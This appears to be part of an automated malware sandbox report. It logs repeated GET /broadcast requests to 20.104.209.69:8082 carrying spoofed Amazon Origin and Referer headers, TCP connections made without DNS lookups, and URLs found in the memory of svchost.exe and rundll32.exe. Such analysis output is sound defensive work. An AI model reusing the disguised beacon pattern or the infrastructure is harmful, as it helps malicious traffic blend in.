Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.6:49696 -> 20.104.209.69:8082

Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown	TCP traffic detected without corresponding DNS query: 20.104.209.69

Source: svchost.exe, 0000000B.00000002.316062632.0000027921613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: rundll32.exe, 00000007.00000002.780464664.0000000003849000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.780479562.0000000003873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d22u79neyj432a.cloudfront.net/bfc50dfa-8e10-44b5-ae59-ac26bfc71489/54857e6d-c060-4b3c-914a-8
Source: svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000002.316159805.000002792164D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315774082.0000027921648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
